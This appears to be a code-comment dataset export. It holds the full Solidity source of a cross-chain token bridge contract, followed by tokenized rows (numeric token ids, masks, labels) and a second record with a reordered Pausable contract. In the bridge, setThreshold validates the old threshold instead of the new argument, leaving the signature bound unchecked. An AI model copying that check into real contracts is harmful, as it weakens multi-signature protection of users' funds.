function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
}
/**
* @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for
* deploying minimal proxy contracts, also known as "clones".
*
* > To simply and cheaply clone contract functionality in an immutable way, this standard specifies
* > a minimal bytecode implementation that delegates all calls to a known, fixed address.
*
* The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2`
* (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the
* deterministic method.
*
* _Available since v3.4._
*/
library Clones {
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
*
* This function uses the create opcode, which should never revert.
*/
function clone(address implementation) internal returns (address instance) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create(0, ptr, 0x37)
}
require(instance != address(0), "ERC1167: create failed");
}
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
*
* This function uses the create2 opcode and a `salt` to deterministically deploy
* the clone. Using the same `implementation` and `salt` multiple time will revert, since
* the clones cannot be deployed twice at the same address.
*/
function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create2(0, ptr, 0x37, salt)
}
require(instance != address(0), "ERC1167: create2 failed");
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(
address implementation,
bytes32 salt,
address deployer
) internal pure returns (address predicted) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000)
mstore(add(ptr, 0x38), shl(0x60, deployer))
mstore(add(ptr, 0x4c), salt)
mstore(add(ptr, 0x6c), keccak256(ptr, 0x37))
predicted := keccak256(add(ptr, 0x37), 0x55)
}
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(address implementation, bytes32 salt)
internal
view
returns (address predicted)
{
return predictDeterministicAddress(implementation, salt, address(this));
}
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
struct AddressSet {
// Storage of set values
address[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (address => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
if (!contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
address lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns 1-based index of value in the set. O(1).
*/
function indexOf(AddressSet storage set, address value) internal view returns (uint256) {
return set._indexes[value];
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
}
abstract contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
/* will use initialize instead
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
*/
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
}
contract CallistoBridge is Ownable {
using TransferHelper for address;
using EnumerableSet for EnumerableSet.AddressSet;
EnumerableSet.AddressSet authorities; // authority has to sign claim transaction (message)
address constant MAX_NATIVE_COINS = address(31); // addresses from address(1) to MAX_NATIVE_COINS are considered as native coins
// CLO = address(1)
struct Token {
address token; // foreign token address
bool isWrapped; // is native token wrapped of foreign
}
struct Upgrade {
address newContract;
uint64 validFrom;
}
uint256 public threshold; // minimum number of signatures required to approve swap
address public tokenImplementation; // implementation of wrapped token
address public feeTo; // send fee to this address
bool public frozen; // if frozen - swap will not work
uint256 public wrapNonce; // the last nonce used to create wrapped token address begin with 0xCC....
mapping(uint256 => mapping(bytes32 => bool)) public isTxProcessed; // chainID => txID => isProcessed
mapping(uint256 => mapping(address => Token)) public tokenPair; // chainID => native token address => Token struct
mapping(uint256 => mapping(address => address)) public tokenForeign; // chainID => foreign token address => native token
mapping(address => uint256) public tokenDeposits; // amount of tokens were deposited by users
mapping(address => bool) public isFreezer; // addresses that have right to freeze contract
uint256 public setupMode; // time when setup mode will start, 0 if disable
Upgrade public upgradeData;
address public founders;
address public requiredAuthority; // authority address that MUST sign swap transaction
event SetAuthority(address authority, bool isEnable);
event SetFeeTo(address previousFeeTo, address newFeeTo);
event SetThreshold(uint256 threshold);
event Deposit(address indexed token, address indexed sender, uint256 value, uint256 toChainId, address toToken);
event Claim(address indexed token, address indexed to, uint256 value, bytes32 txId, uint256 fromChainId, address fromToken);
event Fee(address indexed sender, uint256 fee);
event CreatePair(address toToken, bool isWrapped, address fromToken, uint256 fromChainId);
event Frozen(bool status);
event RescuedERC20(address token, address to, uint256 value);
event SetFreezer(address freezer, bool isActive);
event SetupMode(uint time);
event UpgradeRequest(address newContract, uint256 validFrom);
event BridgeToContract(address indexed token, address indexed sender, uint256 value, uint256 toChainId, address toToken, address toContract, bytes data);
event ClaimToContract(address indexed token, address indexed to, uint256 value, bytes32 txId, uint256 fromChainId, address fromToken, address toContract);
// run only once from proxy
function initialize(address newOwner, address newFounders, address _tokenImplementation) external {
require(newOwner != address(0) && newFounders != address(0) && founders == address(0)); // run only once
_owner = newOwner;
founders = newFounders;
emit OwnershipTransferred(address(0), msg.sender);
require(_tokenImplementation != address(0), "Wrong tokenImplementation");
tokenImplementation = _tokenImplementation;
feeTo = msg.sender;
threshold = 1;
setupMode = 1; // allow setup after deployment
}
/*
constructor (address _tokenImplementation) {
require(_tokenImplementation != address(0), "Wrong tokenImplementation");
tokenImplementation = _tokenImplementation;
feeTo = msg.sender;
threshold = 1;
}
*/
modifier notFrozen() {
require(!frozen, "Bridge is frozen");
_;
}
// allowed only in setup mode
modifier onlySetup() {
uint256 mode = setupMode; //use local variable to save gas
require(mode != 0 && mode < block.timestamp, "Not in setup mode");
_;
}
function upgradeTo() external view returns(address newContract) {
Upgrade memory upg = upgradeData;
require(upg.validFrom < block.timestamp && upg.newContract != address(0), "Upgrade not allowed");
newContract = upg.newContract;
}
function requestUpgrade(address newContract) external onlyOwner {
require(newContract != address(0), "Zero address");
uint256 validFrom = block.timestamp + 3 days;
upgradeData = Upgrade(newContract, uint64(validFrom));
emit UpgradeRequest(newContract, validFrom);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public {
require(founders == msg.sender, "Ownable: caller is not the founders");
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function ChangeFounder(address newFounders) public {
require(founders == msg.sender, "caller is not the founders");
require(newFounders != address(0), "new owner is the zero address");
emit OwnershipTransferred(founders, newFounders);
founders = newFounders;
}
// get number of authorities
function getAuthoritiesNumber() external view returns(uint256) {
return authorities.length();
}
// returns list of authorities addresses
function getAuthorities() external view returns(address[] memory) {
return authorities._values;
}
// Owner or Authority may freeze bridge in case of anomaly detection
function freeze() external {
require(msg.sender == owner() || authorities.contains(msg.sender) || isFreezer[msg.sender]);
frozen = true;
emit Frozen(true);
}
// Only owner can manually unfreeze contract
function unfreeze() external onlyOwner onlySetup {
frozen = false;
emit Frozen(false);
}
// add authority
function setFreezer(address freezer, bool isActive) external onlyOwner {
require(freezer != address(0), "Zero address");
isFreezer[freezer] = isActive;
emit SetFreezer(freezer, isActive);
}
// add authority
function addAuthority(address authority) external onlyOwner onlySetup {
require(authority != address(0), "Zero address");
require(authorities.length() < 255, "Too many authorities");
require(authorities.add(authority), "Authority already added");
emit SetAuthority(authority, true);
}
// remove authority
function removeAuthority(address authority) external onlyOwner {
require(authorities.remove(authority), "Authority does not exist");
emit SetAuthority(authority, false);
}
// set authority address that MUST sign claim request
function setRequiredAuthority(address authority) external onlyOwner onlySetup {
requiredAuthority = authority;
}
// set fee receiver address
function setFeeTo(address newFeeTo) external onlyOwner onlySetup {
require(newFeeTo != address(0), "Zero address");
address previousFeeTo = feeTo;
feeTo = newFeeTo;
emit SetFeeTo(previousFeeTo, newFeeTo);
}
// set threshold - minimum number of signatures required to approve swap
function setThreshold(uint256 _threshold) external onlyOwner onlySetup {
require(threshold != 0 && threshold <= authorities.length(), "Wrong threshold");
threshold = _threshold;
emit SetThreshold(threshold);
}
function disableSetupMode() external onlyOwner {
setupMode = 0;
emit SetupMode(0);
}
function enableSetupMode() external onlyOwner {
setupMode = block.timestamp + 1 days;
emit SetupMode(setupMode);
}
// returns `nonce` to use in `createWrappedToken()` to create address starting with 0xCC.....
function calculateNonce() external view returns(uint256 nonce, address addr) {
nonce = wrapNonce;
address implementation = tokenImplementation;
while (true) {
nonce++;
addr = Clones.predictDeterministicAddress(implementation, bytes32(nonce));
if (uint160(addr) & uint160(0xfF00000000000000000000000000000000000000) == uint160(0xCc00000000000000000000000000000000000000))
break;
}
}
function rescueERC20(address token, address to) external onlyOwner {
uint256 value = IBEP20TokenCloned(token).balanceOf(address(this)) - tokenDeposits[token];
token.safeTransfer(to, value);
emit RescuedERC20(token, to, value);
}
// Create wrapped token for foreign token
function createWrappedToken(
address fromToken, // foreign token address
uint256 fromChainId, // foreign chain ID where token deployed
string memory name, // wrapped token name
string memory symbol, // wrapped token symbol
uint8 decimals, // wrapped token decimals (should be the same as in original token)
uint256 nonce // nonce to create wrapped token address begin with 0xCC....
)
external
onlyOwner
onlySetup
{
require(fromToken != address(0), "Wrong token address");
require(tokenForeign[fromChainId][fromToken] == address(0), "This token already wrapped");
require(nonce > wrapNonce, "Nonce must be higher then wrapNonce");
wrapNonce = nonce;
address wrappedToken = Clones.cloneDeterministic(tokenImplementation, bytes32(nonce));
IBEP20TokenCloned(wrappedToken).initialize(owner(), name, symbol, decimals);
tokenPair[fromChainId][wrappedToken] = Token(fromToken, true);
tokenForeign[fromChainId][fromToken] = wrappedToken;
emit CreatePair(wrappedToken, true, fromToken, fromChainId); //wrappedToken - wrapped token contract address
}
/**
* @dev Create pair between existing tokens on native and foreign chains
* @param toToken token address on native chain
* @param fromToken token address on foreign chain
* @param fromChainId foreign chain ID
* @param isWrapped `true` if `toToken` is our wrapped token otherwise `false`
*/
function createPair(address toToken, address fromToken, uint256 fromChainId, bool isWrapped) external onlyOwner onlySetup {
require(tokenPair[fromChainId][toToken].token == address(0), "Pair already exist");
tokenPair[fromChainId][toToken] = Token(fromToken, isWrapped);
tokenForeign[fromChainId][fromToken] = toToken;
emit CreatePair(toToken, isWrapped, fromToken, fromChainId);
}
/**
* @dev Delete unused pair
* @param toToken token address on native chain
* @param fromChainId foreign chain ID
*/
function deletePair(address toToken, uint256 fromChainId) external onlyOwner onlySetup {
delete tokenPair[fromChainId][toToken];
}
// Move tokens through the bridge and call the contract with 'data' parameters on the destination chain
function bridgeToContract(
address receiver, // address of token receiver on destination chain
address token, // token that user send (if token address < 32, then send native coin)
uint256 value, // tokens value
uint256 toChainId, // destination chain Id where will be claimed tokens
address toContract, // this contract will be called on destination chain
bytes memory data // this data will be passed to contract call (ABI encoded parameters)
)
external
payable
notFrozen
{
require(receiver != address(0), "Incorrect receiver address");
address pair_token = _deposit(token, value, toChainId);
emit BridgeToContract(token, receiver, value, toChainId, pair_token, toContract, data);
}
// Claim tokens from the bridge and call the contract with 'data' parameters
function claimToContract(
address token, // token to receive
bytes32 txId, // deposit transaction hash on fromChain
address to, // user address
uint256 value, // value of tokens
uint256 fromChainId, // chain ID where user deposited
address toContract, // this contract will be called on destination chain
bytes memory data, // this data will be passed to contract call (ABI encoded parameters)
bytes[] memory sig // authority signatures
)
external
notFrozen
{
require(!isTxProcessed[fromChainId][txId], "Transaction already processed");
Token memory pair = tokenPair[fromChainId][token];
require(pair.token != address(0), "There is no pair");
isTxProcessed[fromChainId][txId] = true;
// Check signature
address must = requiredAuthority;
bytes32 messageHash = keccak256(abi.encodePacked(token, to, value, txId, fromChainId, block.chainid, toContract, data));
messageHash = prefixed(messageHash);
uint256 uniqSig;
uint256 set; // maximum number of authorities is 255
for (uint i = 0; i < sig.length; i++) {
address authority = recoverSigner(messageHash, sig[i]);
if (authority == must) must = address(0);
uint256 index = authorities.indexOf(authority);
uint256 mask = 1 << index;
if (index != 0 && (set & mask) == 0 ) {
set |= mask;
uniqSig++;
}
}
require(threshold <= uniqSig, "Require more signatures");
require(must == address(0), "The required authority does not sign");
// Call toContract
if(isContract(toContract) && toContract != address(this)) {
if (token <= MAX_NATIVE_COINS) {
uint balance = address(this).balance;
(bool success,) = toContract.call{value: value}(data); // transfer coin back to sender (to address(this)) is not supported
if (!success && balance == address(this).balance) { // double check the coin was not spent
to.safeTransferETH(value); // send coin to user
}
} else {
if(pair.isWrapped) {
IBEP20TokenCloned(token).mint(address(this), value);
} else {
tokenDeposits[token] -= value;
}
if (IBEP20TokenCloned(token).allowance(address(this), toContract) == 0) { // should be zero
IBEP20TokenCloned(token).approve(toContract, value);
(bool success,) = toContract.call{value: 0}(data);
value = IBEP20TokenCloned(token).allowance(address(this), toContract); // unused amount (the rest) = allowance
}
if (value != 0) { // if not all value used reset approvement
IBEP20TokenCloned(token).approve(toContract, 0);
token.safeTransfer(to, value); // send to user rest of tokens
}
}
} else { // if not contract
if (token <= MAX_NATIVE_COINS) {
to.safeTransferETH(value);
} else {
if(pair.isWrapped) {
IBEP20TokenCloned(token).mint(to, value);
} else {
tokenDeposits[token] -= value;
token.safeTransfer(to, value);
}
}
}
emit ClaimToContract(token, to, value, txId, fromChainId, pair.token, toContract);
}
function depositTokens(
address receiver, // address of token receiver on destination chain
address token, // token that user send (if token address < 32, then send native coin)
uint256 value, // tokens value
uint256 toChainId // destination chain Id where will be claimed tokens
)
external
payable
notFrozen
{
require(receiver != address(0), "Incorrect receiver address");
address pair_token = _deposit(token, value, toChainId);
emit Deposit(token, receiver, value, toChainId, pair_token);
}
function depositTokens(
address token, // token that user send (if token address < 32, then send native coin)
uint256 value, // tokens value
uint256 toChainId // destination chain Id where will be claimed tokens
)
external
payable
notFrozen
{
address pair_token = _deposit(token, value, toChainId);
emit Deposit(token, msg.sender, value, toChainId, pair_token);
}
function _deposit(
address token, // token that user send (if token address < 32, then send native coin)
uint256 value, // tokens value
uint256 toChainId // destination chain Id where will be claimed tokens
)
internal
returns (address pair_token)
{
Token memory pair = tokenPair[toChainId][token];
require(pair.token != address(0), "There is no pair");
pair_token = pair.token;
uint256 fee = msg.value;
if (token <= MAX_NATIVE_COINS) {
require(value <= msg.value, "Wrong value");
fee -= value;
} else {
if(pair.isWrapped) {
IBEP20TokenCloned(token).burnFrom(msg.sender, value);
} else {
tokenDeposits[token] += value;
token.safeTransferFrom(msg.sender, address(this), value);
}
}
if (fee != 0) {
feeTo.safeTransferETH(fee);
emit Fee(msg.sender, fee);
}
}
// claim
function claim(
address token, // token to receive
bytes32 txId, // deposit transaction hash on fromChain
address to, // user address
uint256 value, // value of tokens
uint256 fromChainId, // chain ID where user deposited
bytes[] memory sig // authority signatures
)
external
notFrozen
{
require(!isTxProcessed[fromChainId][txId], "Transaction already processed");
Token memory pair = tokenPair[fromChainId][token];
require(pair.token != address(0), "There is no pair");
isTxProcessed[fromChainId][txId] = true;
address must = requiredAuthority;
bytes32 messageHash = keccak256(abi.encodePacked(token, to, value, txId, fromChainId, block.chainid));
messageHash = prefixed(messageHash);
uint256 uniqSig;
uint256 set; // maximum number of authorities is 255
for (uint i = 0; i < sig.length; i++) {
address authority = recoverSigner(messageHash, sig[i]);
if (authority == must) must = address(0);
uint256 index = authorities.indexOf(authority);
uint256 mask = 1 << index;
if (index != 0 && (set & mask) == 0 ) {
set |= mask;
uniqSig++;
}
}
require(threshold <= uniqSig, "Require more signatures");
require(must == address(0), "The required authority does not sign");
if (token <= MAX_NATIVE_COINS) {
to.safeTransferETH(value);
} else {
if(pair.isWrapped) {
IBEP20TokenCloned(token).mint(to, value);
} else {
tokenDeposits[token] -= value;
token.safeTransfer(to, value);
}
}
emit Claim(token, to, value, txId, fromChainId, pair.token);
}
// Signature methods
function splitSignature(bytes memory sig)
internal
pure
returns (uint8 v, bytes32 r, bytes32 s)
{
require(sig.length == 65);
assembly {
// first 32 bytes, after the length prefix
r := mload(add(sig, 32))
// second 32 bytes
s := mload(add(sig, 64))
// final byte (first byte of the next 32 bytes)
v := byte(0, mload(add(sig, 96)))
}
}
function recoverSigner(bytes32 message, bytes memory sig)
internal
pure
returns (address)
{
uint8 v;
bytes32 r;
bytes32 s;
(v, r, s) = splitSignature(sig);
return ecrecover(message, v, r, s);
}
// Builds a prefixed hash to mimic the behavior of eth_sign.
function prefixed(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
} | chainID => txID => isProcessed
| mapping(uint256 => mapping(bytes32 => bool)) public isTxProcessed; | 2,141,324 | [
1,
5639,
734,
516,
2229,
734,
516,
353,
13533,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2874,
12,
11890,
5034,
516,
2874,
12,
3890,
1578,
516,
1426,
3719,
1071,
353,
4188,
13533,
31,
377,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xc48AB88CE64DADCCFeF95111DeBe282a17382CF2/sources/lib/pizza/src/Pausable.sol | * @dev A contract module enabling an authorized account to pause and unpause functionality. This module provides the `whenNotPaused` and `whenPaused` modifiers for functions. The whenNotPaused modifier is used for normal functions of an ERC20 token - transfer(), transferFrom() but also other functions such as issue() and redeem(). The function of introducing these modifiers in the contract, is to pause all activity in the situation where something has gone wrong./ contract Pausable is Ownable { | contract Pausable is UnrenounceableOwnable2Step {
address public pauser;
event Paused(address account);
event Unpaused(address account);
event PauserChanged(address indexed newAddress);
bool private _paused;
pragma solidity ^0.8.9;
import {UnrenounceableOwnable2Step} from "./UnrenounceableOwnable2Step.sol";
constructor() {
_paused = false;
pauser = msg.sender;
}
modifier whenNotPaused() {
_requireNotPaused();
_;
}
modifier whenPaused() {
_requirePaused();
_;
}
function paused() public view virtual returns (bool) {
return _paused;
}
function _requireNotPaused() internal view virtual {
require(!paused(), "Pausable: paused");
}
function _requirePaused() internal view virtual {
require(paused(), "Pausable: not paused");
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
modifier onlyPauser() {
require(msg.sender == pauser, "Pausable: caller is not the pauser");
_;
}
function pause() public onlyPauser returns (bool) {
_pause();
return (paused());
}
function unpause() public onlyPauser returns (bool) {
_unpause();
return (paused());
}
function updatePauser(address _newPauser) external onlyOwner {
require(
_newPauser != address(0),
"Pausable: new pauser is the zero address"
);
pauser = _newPauser;
emit PauserChanged(pauser);
}
}
| 8,318,212 | [
1,
37,
6835,
1605,
570,
17912,
392,
10799,
2236,
358,
11722,
471,
640,
19476,
14176,
18,
1220,
1605,
8121,
326,
1375,
13723,
1248,
28590,
68,
471,
1375,
13723,
28590,
68,
10429,
364,
4186,
18,
1021,
1347,
1248,
28590,
9606,
353,
1399,
364,
2212,
4186,
434,
392,
4232,
39,
3462,
1147,
300,
7412,
9334,
7412,
1265,
1435,
1496,
2546,
1308,
4186,
4123,
487,
5672,
1435,
471,
283,
24903,
7675,
1021,
445,
434,
16658,
2822,
4259,
10429,
316,
326,
6835,
16,
353,
358,
11722,
777,
5728,
316,
326,
20886,
1625,
5943,
711,
22296,
7194,
18,
19,
6835,
21800,
16665,
353,
14223,
6914,
288,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
21800,
16665,
353,
1351,
1187,
8386,
429,
5460,
429,
22,
4160,
288,
203,
565,
1758,
1071,
6790,
1355,
31,
203,
565,
871,
21800,
3668,
12,
2867,
2236,
1769,
203,
203,
565,
871,
1351,
8774,
3668,
12,
2867,
2236,
1769,
203,
203,
565,
871,
21800,
1355,
5033,
12,
2867,
8808,
394,
1887,
1769,
203,
203,
565,
1426,
3238,
389,
8774,
3668,
31,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
29,
31,
203,
203,
5666,
288,
984,
1187,
8386,
429,
5460,
429,
22,
4160,
97,
628,
25165,
984,
1187,
8386,
429,
5460,
429,
22,
4160,
18,
18281,
14432,
203,
565,
3885,
1435,
288,
203,
3639,
389,
8774,
3668,
273,
629,
31,
203,
3639,
6790,
1355,
273,
1234,
18,
15330,
31,
203,
565,
289,
203,
203,
565,
9606,
1347,
1248,
28590,
1435,
288,
203,
3639,
389,
6528,
1248,
28590,
5621,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
565,
9606,
1347,
28590,
1435,
288,
203,
3639,
389,
6528,
28590,
5621,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
565,
445,
17781,
1435,
1071,
1476,
5024,
1135,
261,
6430,
13,
288,
203,
3639,
327,
389,
8774,
3668,
31,
203,
565,
289,
203,
203,
565,
445,
389,
6528,
1248,
28590,
1435,
2713,
1476,
5024,
288,
203,
